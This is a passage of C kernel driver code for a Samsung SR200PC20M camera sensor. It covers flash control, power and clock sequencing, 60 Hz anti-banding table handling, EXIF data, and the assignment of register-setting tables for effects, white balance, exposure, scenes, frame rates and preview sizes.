gpio_set_value(GPIO_CAM_FLASH_SET, 0); } gpio_set_value(GPIO_CAM_FLASH_EN, 0); udelay(1); camdrv_ss_AAT_flash_write_data(1); break; } // USE MOVIE MODE : Movie Mode(Torch Mode) case FLASH_CONTROL_LOW_LEVEL: { if(HWREV >= 0x03) { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); } else { gpio_set_value(GPIO_CAM_FLASH_SET, 0); } gpio_set_value(GPIO_CAM_FLASH_EN, 0); udelay(1); camdrv_ss_AAT_flash_write_data(7); // 69mA break; } case FLASH_CONTROL_OFF: default: { if(HWREV >= 0x03) { gpio_set_value(GPIO_CAM_FLASH_SET_NEW, 0); } else { gpio_set_value(GPIO_CAM_FLASH_SET, 0); } gpio_set_value(GPIO_CAM_FLASH_EN, 0); break; } } #endif // CONFIG_FLASH_ENABLE return 0; } //@HW //Power (common) static struct regulator *VCAM_C_1_8_V; //LDO_HV9 static struct regulator *VCAM_A_2_8_V; //LDO_CAM 12/12/2011 #ifdef CONFIG_SOC_CAMERA_POWER_USE_ASR //VE Group static struct regulator *VCAM_CORE_1_8_V; //ASR_SW #else #define CAM_IO_EN 37 #endif //main cam #if defined(CONFIG_MACH_RHEA_SS_CORIPLUS) #define CAM_RST 92 #elif defined(CONFIG_MACH_RHEA_SS_CORSICA) #define CAM_RST 33 #else #define CAM_RST 13 #endif #define CAM_EN 111 #define SENSOR_0_CLK "dig_ch0_clk" //(common) #define SENSOR_0_CLK_FREQ (26000000) //@HW, need to check how fast this meaning. static int camdrv_ss_sr200pc20m_copy_files_for_60hz(void) { #define COPY_FROM_60HZ_TABLE(TABLE_NAME, ANTI_BANDING_SETTING) \ memcpy (TABLE_NAME, TABLE_NAME##_##ANTI_BANDING_SETTING, \ sizeof(TABLE_NAME)) CAM_INFO_PRINTK("%s: Enter \n",__func__); //[ltn_to_do] should be rearranged !!!!! just for Testing COPY_FROM_60HZ_TABLE (sr200pc20m_init_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_preview_camera_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_none_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_backlight_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_landscape_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_party_indoor_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_sunset_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_duskdawn_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_fall_color_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_nightshot_Normal, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_nightshot_Dark, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_scene_candle_light_regs, 60hz); COPY_FROM_60HZ_TABLE (sr200pc20m_fps_15_regs, 60hz); CAM_INFO_PRINTK("%s: copy done!\n", __func__); return 0; } static int camdrv_ss_sr200pc20m_check_table_size_for_60hz(void) { #define IS_SAME_NUM_OF_ROWS(TABLE_NAME) \ (sizeof(TABLE_NAME) == sizeof(TABLE_NAME##_60hz)) if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_init_regs) ) return (-1); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_preview_camera_regs) ) return (-2); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_none_regs) ) return (-3); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_backlight_regs) ) return (-4); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_landscape_regs) ) return (-5); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_party_indoor_regs) ) return (-6); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_sunset_regs) ) return (-7); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_duskdawn_regs) ) return (-8); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_fall_color_regs) ) return (-9); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_nightshot_Normal) ) return (-10); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_nightshot_Dark) ) return (-11); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_scene_candle_light_regs) ) return (-12); if ( !IS_SAME_NUM_OF_ROWS(sr200pc20m_fps_15_regs) ) return (-13); CAM_INFO_PRINTK("%s: Success !\n", __func__); return 0; } static int camdrv_ss_sr200pc20m_sensor_power(int on) { unsigned int value; int ret = -1; struct clk *clock; struct clk *axi_clk; static struct pi_mgr_dfs_node unicam_dfs_node; CAM_INFO_PRINTK("%s:camera power %s\n", __func__, (on ? "on" : "off")); if (!unicam_dfs_node.valid) { ret = pi_mgr_dfs_add_request(&unicam_dfs_node,"unicam", PI_MGR_PI_ID_MM, PI_MGR_DFS_MIN_VALUE); if (ret) { CAM_ERROR_PRINTK("%s: failed to register PI DFS request\n", __func__); return -1; } } clock = clk_get(NULL, SENSOR_0_CLK); if (!clock) { CAM_ERROR_PRINTK("%s: unable to get clock %s\n", __func__, SENSOR_0_CLK); return -1; } axi_clk = clk_get(NULL, "csi0_axi_clk"); if (!axi_clk) { CAM_ERROR_PRINTK("%s:unable to get clock csi0_axi_clk\n", __func__); return -1; } VCAM_A_2_8_V = regulator_get(NULL,"cam"); if(IS_ERR(VCAM_A_2_8_V)) { CAM_ERROR_PRINTK("can not get VCAM_A_2_8_V.8V\n"); return -1; } VCAM_C_1_8_V = regulator_get(NULL,"hv9"); if(IS_ERR(VCAM_C_1_8_V)) { CAM_ERROR_PRINTK("can not get VCAM_C_1_8_V\n"); return -1; } #ifdef CONFIG_SOC_CAMERA_POWER_USE_ASR //VE Group VCAM_CORE_1_8_V = regulator_get(NULL,"asr_nm_uc"); if(IS_ERR(VCAM_CORE_1_8_V)) { CAM_ERROR_PRINTK("can not get VCAM_CORE_1_8_V\n"); return -1; } #else gpio_request(CAM_IO_EN, "cam_1_2v"); gpio_direction_output(CAM_IO_EN,0); #endif gpio_request(CAM_EN, "cam_stnby"); gpio_direction_output(CAM_EN,0); gpio_request(CAM_RST, "cam_rst"); gpio_direction_output(CAM_RST,0); if(on) { CAM_INFO_PRINTK("power on the sensor \n"); //@HW if (pi_mgr_dfs_request_update(&unicam_dfs_node, PI_OPP_TURBO)) { CAM_ERROR_PRINTK("%s:failed to update dfs request for unicam\n", __func__); return -1; } regulator_set_voltage(VCAM_A_2_8_V,2800000,2800000); regulator_set_voltage(VCAM_C_1_8_V,1800000,1800000); #ifdef CONFIG_SOC_CAMERA_POWER_USE_ASR //VE Group regulator_set_voltage(VCAM_CORE_1_8_V,1800000,1800000); #endif value = clk_enable(axi_clk); if (value) { CAM_ERROR_PRINTK("%s:failed to enable csi2 axi clock\n", __func__); return -1; } CAM_INFO_PRINTK("power on the sensor's power supply\n"); //@HW #ifdef CONFIG_SOC_CAMERA_POWER_USE_ASR //VE Group regulator_enable(VCAM_CORE_1_8_V); #else gpio_set_value(CAM_IO_EN,1); #endif regulator_enable(VCAM_A_2_8_V); regulator_enable(VCAM_C_1_8_V); msleep(5); // mclk control value = clk_enable(clock); if (value) { CAM_ERROR_PRINTK("%s: failed to enable clock %s\n", __func__, SENSOR_0_CLK); return -1; } value = clk_set_rate(clock, SENSOR_0_CLK_FREQ); if (value) { CAM_ERROR_PRINTK("%s: failed to set the clock %s to freq %d\n", __func__, SENSOR_0_CLK, SENSOR_0_CLK_FREQ); return -1; } gpio_set_value(CAM_EN,1); msleep(30); gpio_set_value(CAM_RST,1); msleep(6); CAM_INFO_PRINTK("set cam rst to high\n"); msleep(2); } else //power off { CAM_INFO_PRINTK("power off the sensor \n"); //@HW /* enable reset gpio */ gpio_set_value(CAM_RST,0); msleep(1); clk_disable(clock); clk_disable(axi_clk); gpio_set_value(CAM_EN,0); msleep(1); // gpio_set_value(CAM1_RESET,0); // msleep(1); /* enable power down gpio */ // gpio_set_value(CAM_AF_EN,0); // msleep(1); regulator_disable(VCAM_C_1_8_V); regulator_disable(VCAM_A_2_8_V); #ifdef CONFIG_SOC_CAMERA_POWER_USE_ASR //VE Group regulator_disable(VCAM_CORE_1_8_V); #else gpio_set_value(CAM_IO_EN, 0); #endif if (pi_mgr_dfs_request_update(&unicam_dfs_node, PI_MGR_DFS_MIN_VALUE)) { CAM_ERROR_PRINTK("%s: failed to update dfs request for unicam\n", __func__); } CAM_INFO_PRINTK("rhea_camera_power off success \n"); } if (ANTI_BANDING_60HZ == camera_antibanding_get()) { ret = camdrv_ss_sr200pc20m_check_table_size_for_60hz(); if(ret != 0) { CAM_ERROR_PRINTK("%s: Fail - the table num is %d \n", __func__, ret); return -1; } camdrv_ss_sr200pc20m_copy_files_for_60hz(); } return 0; } int camdrv_ss_sr200pc20m_get_sensor_param_for_exif( struct v4l2_subdev *sd, struct v4l2_exif_sensor_info *exif_param) { char str[20]; int num = -1; int ret = -1; float exposureTime = 0.0f; strcpy(exif_param->strSoftware, EXIF_SOFTWARE); strcpy(exif_param->strMake, EXIF_MAKE); strcpy(exif_param->strModel, EXIF_MODEL); exposureTime = camdrv_ss_sr200pc20m_get_exposureTime(sd); num = (int)exposureTime; if (num > 0) { snprintf(str, 19, "%d/26000000", num); strcpy(exif_param->exposureTime, str); } else { strcpy(exif_param->exposureTime, ""); } CAM_INFO_PRINTK("%s : exposure time = %s \n",__func__,exif_param->exposureTime); num = camdrv_ss_sr200pc20m_get_iso_speed_rate(sd); if (num > 0) { sprintf(str, "%d,", num); strcpy(exif_param->isoSpeedRating, str); } else { strcpy(exif_param->isoSpeedRating, ""); } /* sRGB mandatory field! */ strcpy(exif_param->colorSpaceInfo, "1"); strcpy(exif_param->contrast, "0"); strcpy(exif_param->saturation, "0"); strcpy(exif_param->sharpness, "0"); strcpy(exif_param->FNumber, (char *)"28/10"); strcpy(exif_param->exposureProgram, ""); strcpy(exif_param->shutterSpeed, ""); strcpy(exif_param->aperture, ""); strcpy(exif_param->brightness, ""); strcpy(exif_param->exposureBias, ""); strcpy(exif_param->maxLensAperture, ""); strcpy(exif_param->flash, ""); strcpy(exif_param->lensFocalLength, "270/100"); strcpy(exif_param->userComments, "User Comments"); ret = 0; return ret; } bool camdrv_ss_sr200pc20m_get_esd_status(struct v4l2_subdev *sd) { return false; } bool camdrv_ss_sensor_init_main(bool bOn, struct camdrv_ss_sensor_cap *sensor) { strcpy(sensor->name,SR200PC20M_NAME); sensor->supported_preview_framesize_list = sr200pc20m_supported_preview_framesize_list; sensor->supported_number_of_preview_sizes = ARRAY_SIZE(sr200pc20m_supported_preview_framesize_list); sensor->supported_capture_framesize_list = sr200pc20m_supported_capture_framesize_list; sensor->supported_number_of_capture_sizes = ARRAY_SIZE(sr200pc20m_supported_capture_framesize_list); sensor->fmts = sr200pc20m_fmts; sensor->rows_num_fmts =ARRAY_SIZE(sr200pc20m_fmts); sensor->controls =sr200pc20m_controls; sensor->rows_num_controls =ARRAY_SIZE(sr200pc20m_controls); sensor->default_pix_fmt = SR200PC20M_DEFAULT_PIX_FMT; sensor->default_mbus_pix_fmt = SR200PC20M_DEFAULT_MBUS_PIX_FMT; sensor->register_size = SR200PC20M_REGISTER_SIZE; //sensor->skip_frames = 5; /* sensor dependent functions */ sensor->delay_duration = SR200PC20M_DELAY_DURATION; /* mandatory*/ sensor->thumbnail_ioctl = camdrv_ss_sr200pc20m_ss_ioctl; sensor->enum_frameintervals = camdrv_ss_sr200pc20m_enum_frameintervals; /*optional*/ sensor->get_nightmode = camdrv_ss_sr200pc20m_get_nightmode; //aska add sensor->set_preview_start = camdrv_ss_sr200pc20m_set_preview_start;//aska sensor->set_iso = camdrv_ss_sr200pc20m_set_iso;//aska add sensor->set_white_balance = camdrv_ss_sr200pc20m_set_white_balance;//aska add sensor->get_ae_stable_status = camdrv_ss_sr200pc20m_get_ae_stable_status; // sensor->set_auto_focus = camdrv_ss_sr200pc20m_set_auto_focus; // sensor->get_auto_focus_status = camdrv_ss_sr200pc20m_get_auto_focus_status; // sensor->set_touch_focus = camdrv_ss_sr200pc20m_set_touch_focus; // sensor->get_touch_focus_status = camdrv_ss_sr200pc20m_get_touch_focus_status; // sensor->AAT_flash_control = camdrv_ss_sr200pc20m_AAT_flash_control; // sensor->i2c_set_data_burst = camdrv_ss_sr200pc20m_i2c_set_data_burst; sensor->check_flash_needed = camdrv_ss_sr200pc20m_check_flash_needed; // sensor->get_light_condition = camdrv_ss_sr200pc20m_get_light_condition; sensor->sensor_power = camdrv_ss_sr200pc20m_sensor_power; sensor->get_exif_sensor_info = camdrv_ss_sr200pc20m_get_sensor_param_for_exif; sensor->getEsdStatus = camdrv_ss_sr200pc20m_get_esd_status; /*REGS and their sizes*/ /* List all the capabilities of sensor . List all the supported register setting tables */ sensor->init_regs = sr200pc20m_init_regs; sensor->rows_num_init_regs = ARRAY_SIZE(sr200pc20m_init_regs); sensor->preview_camera_regs = sr200pc20m_preview_camera_regs; sensor->rows_num_preview_camera_regs = ARRAY_SIZE(sr200pc20m_preview_camera_regs); /*snapshot mode*/ sensor->snapshot_normal_regs = sr200pc20m_snapshot_normal_regs; sensor->rows_num_snapshot_normal_regs = ARRAY_SIZE(sr200pc20m_snapshot_normal_regs); sensor->snapshot_lowlight_regs = sr200pc20m_snapshot_lowlight_regs; sensor->rows_num_snapshot_lowlight_regs = ARRAY_SIZE(sr200pc20m_snapshot_lowlight_regs); sensor->snapshot_highlight_regs = sr200pc20m_snapshot_highlight_regs; sensor->rows_num_snapshot_highlight_regs = ARRAY_SIZE(sr200pc20m_snapshot_highlight_regs); sensor->snapshot_nightmode_regs = sr200pc20m_snapshot_nightmode_regs; sensor->rows_num_snapshot_nightmode_regs = ARRAY_SIZE(sr200pc20m_snapshot_nightmode_regs); sensor->snapshot_flash_on_regs = sr200pc20m_snapshot_flash_on_regs; sensor->rows_num_snapshot_flash_on_regs = ARRAY_SIZE(sr200pc20m_snapshot_flash_on_regs); sensor->snapshot_af_preflash_on_regs = sr200pc20m_snapshot_af_preflash_on_regs; sensor->rows_num_snapshot_af_preflash_on_regs = ARRAY_SIZE(sr200pc20m_snapshot_af_preflash_on_regs); sensor->snapshot_af_preflash_off_regs = sr200pc20m_snapshot_af_preflash_off_regs; sensor->rows_num_snapshot_af_preflash_off_regs = ARRAY_SIZE(sr200pc20m_snapshot_af_preflash_off_regs); #if 0 sensor->focus_mode_macro_regs = sr200pc20m_af_macro_mode_regs; sensor->rows_num_focus_mode_macro_regs = ARRAY_SIZE(sr200pc20m_af_macro_mode_regs); sensor->focus_mode_off_regs = sr200pc20m_af_normal_mode_regs; sensor->rows_num_focus_mode_off_regs = ARRAY_SIZE(sr200pc20m_af_normal_mode_regs); sensor->single_af_start_regs = sr200pc20m_single_af_start_regs; sensor->rows_num_single_af_start_regs = ARRAY_SIZE(sr200pc20m_single_af_start_regs); sensor->get_1st_af_search_status = sr200pc20m_get_1st_af_search_status; sensor->rows_num_get_1st_af_search_status = ARRAY_SIZE(sr200pc20m_get_1st_af_search_status); sensor->get_2nd_af_search_status = sr200pc20m_get_2nd_af_search_status; sensor->rows_num_get_2nd_af_search_status = ARRAY_SIZE(sr200pc20m_get_2nd_af_search_status); sensor->single_af_stop_regs = sr200pc20m_single_af_stop_regs; sensor->rows_num_single_af_stop_regs = ARRAY_SIZE(sr200pc20m_single_af_stop_regs); #endif /*effect*/ sensor->effect_normal_regs = sr200pc20m_effect_normal_regs; sensor->rows_num_effect_normal_regs = ARRAY_SIZE(sr200pc20m_effect_normal_regs); sensor->effect_negative_regs = sr200pc20m_effect_negative_regs; sensor->rows_num_effect_negative_regs = ARRAY_SIZE(sr200pc20m_effect_negative_regs); sensor->effect_sepia_regs = sr200pc20m_effect_sepia_regs; sensor->rows_num_effect_sepia_regs = ARRAY_SIZE(sr200pc20m_effect_sepia_regs); sensor->effect_mono_regs = sr200pc20m_effect_mono_regs; sensor->rows_num_effect_mono_regs = ARRAY_SIZE(sr200pc20m_effect_mono_regs); sensor->effect_aqua_regs = sr200pc20m_effect_aqua_regs; sensor->rows_num_effect_aqua_regs = ARRAY_SIZE(sr200pc20m_effect_aqua_regs); sensor->effect_sharpen_regs = sr200pc20m_effect_sharpen_regs; sensor->rows_num_effect_sharpen_regs = ARRAY_SIZE(sr200pc20m_effect_sharpen_regs); sensor->effect_solarization_regs = sr200pc20m_effect_solarization_regs; sensor->rows_num_effect_solarization_regs = ARRAY_SIZE(sr200pc20m_effect_solarization_regs); sensor->effect_black_white_regs = sr200pc20m_effect_black_white_regs; sensor->rows_num_effect_black_white_regs = ARRAY_SIZE(sr200pc20m_effect_black_white_regs); /*wb*/ sensor->wb_auto_regs = sr200pc20m_wb_auto_regs; sensor->rows_num_wb_auto_regs = ARRAY_SIZE(sr200pc20m_wb_auto_regs); //sensor->wb_sunny_regs = sr200pc20m_wb_sunny_regs; //sensor->rows_num_wb_sunny_regs = ARRAY_SIZE(sr200pc20m_wb_sunny_regs); sensor->wb_cloudy_regs = sr200pc20m_wb_cloudy_regs; sensor->rows_num_wb_cloudy_regs = ARRAY_SIZE(sr200pc20m_wb_cloudy_regs); //sensor->wb_tungsten_regs = sr200pc20m_wb_tungsten_regs; //sensor->rows_num_wb_tungsten_regs = ARRAY_SIZE(sr200pc20m_wb_tungsten_regs); //Changed reg table name to fit UI's name sensor->wb_daylight_regs = sr200pc20m_wb_daylight_regs; sensor->rows_num_wb_daylight_regs = ARRAY_SIZE(sr200pc20m_wb_daylight_regs); sensor->wb_incandescent_regs = sr200pc20m_wb_incandescent_regs; sensor->rows_num_wb_incandescent_regs = ARRAY_SIZE(sr200pc20m_wb_incandescent_regs); sensor->wb_fluorescent_regs = sr200pc20m_wb_fluorescent_regs; sensor->rows_num_wb_fluorescent_regs = ARRAY_SIZE(sr200pc20m_wb_fluorescent_regs); /*metering*/ sensor->metering_matrix_regs = sr200pc20m_metering_matrix_regs; sensor->rows_num_metering_matrix_regs = ARRAY_SIZE(sr200pc20m_metering_matrix_regs); sensor->metering_center_regs = sr200pc20m_metering_center_regs; sensor->rows_num_metering_center_regs = ARRAY_SIZE(sr200pc20m_metering_center_regs); sensor->metering_spot_regs = sr200pc20m_metering_spot_regs; sensor->rows_num_metering_spot_regs = ARRAY_SIZE(sr200pc20m_metering_spot_regs); /*EV*/ sensor->ev_minus_4_regs = sr200pc20m_ev_minus_4_regs; sensor->rows_num_ev_minus_4_regs = ARRAY_SIZE(sr200pc20m_ev_minus_4_regs); sensor->ev_minus_3_regs = sr200pc20m_ev_minus_3_regs; sensor->rows_num_ev_minus_3_regs = ARRAY_SIZE(sr200pc20m_ev_minus_3_regs); sensor->ev_minus_2_regs = sr200pc20m_ev_minus_2_regs; sensor->rows_num_ev_minus_2_regs = ARRAY_SIZE(sr200pc20m_ev_minus_2_regs); sensor->ev_minus_1_regs = sr200pc20m_ev_minus_1_regs; sensor->rows_num_ev_minus_1_regs = ARRAY_SIZE(sr200pc20m_ev_minus_1_regs); sensor->ev_default_regs = sr200pc20m_ev_default_regs; sensor->rows_num_ev_default_regs = ARRAY_SIZE(sr200pc20m_ev_default_regs); sensor->ev_plus_1_regs = sr200pc20m_ev_plus_1_regs; sensor->rows_num_ev_plus_1_regs = ARRAY_SIZE(sr200pc20m_ev_plus_1_regs); sensor->ev_plus_2_regs = sr200pc20m_ev_plus_2_regs; sensor->rows_num_ev_plus_2_regs = ARRAY_SIZE(sr200pc20m_ev_plus_2_regs); sensor->ev_plus_3_regs = sr200pc20m_ev_plus_3_regs; sensor->rows_num_ev_plus_3_regs = ARRAY_SIZE(sr200pc20m_ev_plus_3_regs); sensor->ev_plus_4_regs = sr200pc20m_ev_plus_4_regs; sensor->rows_num_ev_plus_4_regs = ARRAY_SIZE(sr200pc20m_ev_plus_4_regs); /*contrast*/ sensor->contrast_minus_2_regs = sr200pc20m_contrast_minus_2_regs; sensor->rows_num_contrast_minus_2_regs = ARRAY_SIZE(sr200pc20m_contrast_minus_2_regs); sensor->contrast_minus_1_regs = sr200pc20m_contrast_minus_1_regs; sensor->rows_num_contrast_minus_1_regs = ARRAY_SIZE(sr200pc20m_contrast_minus_1_regs); sensor->contrast_default_regs = sr200pc20m_contrast_default_regs; sensor->rows_num_contrast_default_regs = ARRAY_SIZE(sr200pc20m_contrast_default_regs); sensor->contrast_plus_1_regs = sr200pc20m_contrast_plus_1_regs; sensor->rows_num_contrast_plus_1_regs = ARRAY_SIZE(sr200pc20m_contrast_plus_1_regs); sensor->contrast_plus_2_regs = sr200pc20m_contrast_plus_2_regs; sensor->rows_num_contrast_plus_2_regs = ARRAY_SIZE(sr200pc20m_contrast_plus_2_regs); /*sharpness*/ sensor->sharpness_minus_3_regs = sr200pc20m_sharpness_minus_3_regs; sensor->rows_num_sharpness_minus_3_regs= ARRAY_SIZE(sr200pc20m_sharpness_minus_3_regs); sensor->sharpness_minus_2_regs = sr200pc20m_sharpness_minus_2_regs; sensor->rows_num_sharpness_minus_2_regs= ARRAY_SIZE(sr200pc20m_sharpness_minus_2_regs); sensor->sharpness_minus_1_regs = sr200pc20m_sharpness_minus_1_regs; sensor->rows_num_sharpness_minus_1_regs = ARRAY_SIZE(sr200pc20m_sharpness_minus_1_regs); sensor->sharpness_default_regs = sr200pc20m_sharpness_default_regs; sensor->rows_num_sharpness_default_regs = ARRAY_SIZE(sr200pc20m_sharpness_default_regs); sensor->sharpness_plus_1_regs = sr200pc20m_sharpness_plus_1_regs; sensor->rows_num_sharpness_plus_1_regs = ARRAY_SIZE(sr200pc20m_sharpness_plus_1_regs); sensor->sharpness_plus_2_regs = sr200pc20m_sharpness_plus_2_regs; sensor->rows_num_sharpness_plus_2_regs = ARRAY_SIZE(sr200pc20m_sharpness_plus_2_regs); sensor->sharpness_plus_3_regs = sr200pc20m_sharpness_plus_3_regs; sensor->rows_num_sharpness_plus_3_regs = ARRAY_SIZE(sr200pc20m_sharpness_plus_3_regs); /*saturation*/ sensor->saturation_minus_2_regs = sr200pc20m_saturation_minus_2_regs; sensor->rows_num_saturation_minus_2_regs = ARRAY_SIZE(sr200pc20m_saturation_minus_2_regs); sensor->saturation_minus_1_regs = sr200pc20m_saturation_minus_1_regs; sensor->rows_num_saturation_minus_1_regs = ARRAY_SIZE(sr200pc20m_saturation_minus_1_regs); sensor->saturation_default_regs = sr200pc20m_saturation_default_regs; sensor->rows_num_saturation_default_regs = ARRAY_SIZE(sr200pc20m_saturation_default_regs); sensor->saturation_plus_1_regs = sr200pc20m_saturation_plus_1_regs; sensor->rows_num_saturation_plus_1_regs = ARRAY_SIZE(sr200pc20m_saturation_plus_1_regs); sensor->saturation_plus_2_regs = sr200pc20m_saturation_plus_2_regs; sensor->rows_num_saturation_plus_2_regs = ARRAY_SIZE(sr200pc20m_saturation_plus_2_regs); /*zoom*/ sensor->zoom_00_regs = sr200pc20m_zoom_00_regs; sensor->rows_num_zoom_00_regs = ARRAY_SIZE(sr200pc20m_zoom_00_regs); sensor->zoom_01_regs = sr200pc20m_zoom_01_regs; sensor->rows_num_zoom_01_regs = ARRAY_SIZE(sr200pc20m_zoom_01_regs); sensor->zoom_02_regs = sr200pc20m_zoom_02_regs; sensor->rows_num_zoom_02_regs = ARRAY_SIZE(sr200pc20m_zoom_02_regs); sensor->zoom_03_regs = sr200pc20m_zoom_03_regs; sensor->rows_num_zoom_03_regs = ARRAY_SIZE(sr200pc20m_zoom_03_regs); sensor->zoom_04_regs = sr200pc20m_zoom_04_regs; sensor->rows_num_zoom_04_regs = ARRAY_SIZE(sr200pc20m_zoom_04_regs); sensor->zoom_05_regs = sr200pc20m_zoom_05_regs; sensor->rows_num_zoom_05_regs = ARRAY_SIZE(sr200pc20m_zoom_05_regs); sensor->zoom_06_regs = sr200pc20m_zoom_06_regs; sensor->rows_num_zoom_06_regs = ARRAY_SIZE(sr200pc20m_zoom_06_regs); sensor->zoom_07_regs = sr200pc20m_zoom_07_regs; sensor->rows_num_zoom_07_regs = ARRAY_SIZE(sr200pc20m_zoom_07_regs); sensor->zoom_08_regs = sr200pc20m_zoom_08_regs; sensor->rows_num_zoom_08_regs = ARRAY_SIZE(sr200pc20m_zoom_08_regs); /*scene mode*/ sensor->scene_none_regs = sr200pc20m_scene_none_regs; sensor->rows_num_scene_none_regs = ARRAY_SIZE(sr200pc20m_scene_none_regs); sensor->scene_portrait_regs = sr200pc20m_scene_portrait_regs; sensor->rows_num_scene_portrait_regs = ARRAY_SIZE(sr200pc20m_scene_portrait_regs); sensor->scene_nightshot_regs = sr200pc20m_scene_nightshot_Normal; sensor->rows_num_scene_nightshot_regs = ARRAY_SIZE(sr200pc20m_scene_nightshot_Normal); sensor->scene_nightshot_dark_regs = sr200pc20m_scene_nightshot_Dark; sensor->rows_num_scene_nightshot_dark_regs = ARRAY_SIZE(sr200pc20m_scene_nightshot_Dark); sensor->scene_backlight_regs = sr200pc20m_scene_backlight_regs; sensor->rows_num_scene_backlight_regs = ARRAY_SIZE(sr200pc20m_scene_backlight_regs); sensor->scene_landscape_regs = sr200pc20m_scene_landscape_regs; sensor->rows_num_scene_landscape_regs = ARRAY_SIZE(sr200pc20m_scene_landscape_regs); sensor->scene_sports_regs = sr200pc20m_scene_sports_regs; sensor->rows_num_scene_sports_regs = ARRAY_SIZE(sr200pc20m_scene_sports_regs); sensor->scene_party_indoor_regs = sr200pc20m_scene_party_indoor_regs; sensor->rows_num_scene_party_indoor_regs = ARRAY_SIZE(sr200pc20m_scene_party_indoor_regs); sensor->scene_beach_snow_regs = sr200pc20m_scene_beach_snow_regs; sensor->rows_num_scene_beach_snow_regs = ARRAY_SIZE(sr200pc20m_scene_beach_snow_regs); sensor->scene_sunset_regs = sr200pc20m_scene_sunset_regs; sensor->rows_num_scene_sunset_regs = ARRAY_SIZE(sr200pc20m_scene_sunset_regs); sensor->scene_duskdawn_regs = sr200pc20m_scene_duskdawn_regs; sensor->rows_num_scene_duskdawn_regs = ARRAY_SIZE(sr200pc20m_scene_duskdawn_regs); sensor->scene_fall_color_regs = sr200pc20m_scene_fall_color_regs; sensor->rows_num_scene_fall_color_regs = ARRAY_SIZE(sr200pc20m_scene_fall_color_regs); sensor->scene_fireworks_regs = sr200pc20m_scene_fireworks_regs; sensor->rows_num_scene_fireworks_regs = ARRAY_SIZE(sr200pc20m_scene_fireworks_regs); sensor->scene_candle_light_regs = sr200pc20m_scene_candle_light_regs; sensor->rows_num_scene_candle_light_regs = ARRAY_SIZE(sr200pc20m_scene_candle_light_regs); sensor->scene_text_regs = sr200pc20m_scene_text_regs; sensor->rows_num_scene_text_regs = ARRAY_SIZE(sr200pc20m_scene_text_regs); /*fps*/ sensor->fps_auto_regs = sr200pc20m_fps_auto_regs; sensor->rows_num_fps_auto_regs = ARRAY_SIZE(sr200pc20m_fps_auto_regs); sensor->fps_5_regs = sr200pc20m_fps_5_regs; sensor->rows_num_fps_5_regs = ARRAY_SIZE(sr200pc20m_fps_5_regs); sensor->fps_7_regs = sr200pc20m_fps_7_regs; sensor->rows_num_fps_7_regs = ARRAY_SIZE(sr200pc20m_fps_7_regs); sensor->fps_10_regs = sr200pc20m_fps_10_regs; sensor->rows_num_fps_10_regs = ARRAY_SIZE(sr200pc20m_fps_10_regs); sensor->fps_15_regs = sr200pc20m_fps_15_regs; sensor->rows_num_fps_15_regs = ARRAY_SIZE(sr200pc20m_fps_15_regs); sensor->fps_20_regs = sr200pc20m_fps_20_regs; sensor->rows_num_fps_20_regs = ARRAY_SIZE(sr200pc20m_fps_20_regs); sensor->fps_25_regs = sr200pc20m_fps_25_regs; sensor->rows_num_fps_25_regs = ARRAY_SIZE(sr200pc20m_fps_25_regs); sensor->fps_30_regs = sr200pc20m_fps_30_regs; sensor->rows_num_fps_30_regs = ARRAY_SIZE(sr200pc20m_fps_30_regs); sensor->fps_60_regs = sr200pc20m_fps_60_regs; sensor->rows_num_fps_60_regs = ARRAY_SIZE(sr200pc20m_fps_60_regs); sensor->fps_120_regs = sr200pc20m_fps_120_regs; sensor->rows_num_fps_120_regs = ARRAY_SIZE(sr200pc20m_fps_120_regs); /*quality*/ sensor->quality_superfine_regs = sr200pc20m_quality_superfine_regs; sensor->rows_num_quality_superfine_regs = ARRAY_SIZE(sr200pc20m_quality_superfine_regs); sensor->quality_fine_regs = sr200pc20m_quality_fine_regs; sensor->rows_num_quality_fine_regs = ARRAY_SIZE(sr200pc20m_quality_fine_regs); sensor->quality_normal_regs = sr200pc20m_quality_normal_regs; sensor->rows_num_quality_normal_regs = ARRAY_SIZE(sr200pc20m_effect_normal_regs); sensor->quality_economy_regs = sr200pc20m_quality_economy_regs; sensor->rows_num_quality_economy_regs = ARRAY_SIZE(sr200pc20m_quality_economy_regs); /*preview size */ sensor->preview_size_176x144_regs = sr200pc20m_preview_size_176x144_regs; sensor->rows_num_preview_size_176x144_regs = ARRAY_SIZE(sr200pc20m_preview_size_176x144_regs); sensor->preview_size_320x240_regs = sr200pc20m_preview_size_320x240_regs; sensor->rows_num_preview_size_320x240_regs = ARRAY_SIZE(sr200pc20m_preview_size_320x240_regs); sensor->preview_size_352x288_regs = sr200pc20m_preview_size_352x288_regs; sensor->rows_num_preview_size_352x288_regs = ARRAY_SIZE(sr200pc20m_preview_size_352x288_regs); sensor->preview_size_640x480_regs = sr200pc20m_preview_size_640x480_regs; sensor->rows_num_preview_size_640x480_regs = ARRAY_SIZE(sr200pc20m_preview_size_640x480_regs); sensor->preview_size_704x576_regs = sr200pc20m_preview_size_704x576_regs; sensor->rows_num_preview_size_704x576_regs = ARRAY_SIZE(sr200pc20m_preview_size_704x576_regs); sensor->preview_size_720x480_regs = 